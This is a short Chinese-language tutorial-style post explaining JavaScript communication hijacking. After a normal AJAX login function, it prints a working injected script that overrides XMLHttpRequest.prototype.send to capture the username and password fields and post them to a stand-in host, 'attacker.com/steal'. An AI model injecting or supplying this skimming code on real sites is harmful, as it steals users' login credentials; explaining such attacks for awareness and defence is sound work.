javascript劫持通信 js劫持浏览器

温馨提示：这篇文章已超过200天没有更新，请注意相关的内容是否还可用！

JavaScript劫持通信是一种恶意攻击技术，攻击者利用浏览器中的JavaScript脚本来劫持通信过程，从而获取用户的敏感信息或执行恶意操作。这种攻击方式常见于网络钓鱼、数据窃取等恶意行为中。

在劫持通信过程中，攻击者会通过修改网页中的JavaScript代码，来篡改或监控数据的传输。一种常见的劫持通信方式是通过修改AJAX请求或响应，来获取用户的敏感信息或执行恶意操作。

示例代码如下所示，假设网页中存在一个AJAX请求，用于向服务器发送用户的登录信息：


function login() {
  var username = document.getElementById("username").value;
  var password = document.getElementById("password").value;
  var xhr = new XMLHttpRequest();
  xhr.open("POST", "/login", true);
  xhr.setRequestHeader("Content-Type", "application/json");
  xhr.onreadystatechange = function() {
    if (xhr.readyState === 4 && xhr.status === 200) {
      // 登录成功
      console.log(xhr.responseText);
    }
  };
  var data = {
    username: username,
    password: password
  };
  xhr.send(JSON.stringify(data));
}

攻击者可以通过劫持这个AJAX请求来获取用户的登录信息。他们可以在页面中注入恶意代码，修改`XMLHttpRequest`的`send`方法，将用户的登录信息发送到攻击者控制的服务器上：


var originalSend = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.send = function(data) {
  // 在发送请求之前，将用户的登录信息发送到攻击者服务器
  var username = document.getElementById("username").value;
  var password = document.getElementById("password").value;
  var stolenData = {
    username: username,
    password: password
  };
  var stolenDataJson = JSON.stringify(stolenData);
  var xhr = new XMLHttpRequest();
  xhr.open("POST", "http://attacker.com/steal", true);
  xhr.setRequestHeader("Content-Type", "application/json");
  xhr.send(stolenDataJson);
  // 继续发送原始的请求
  originalSend.call(this, data);
};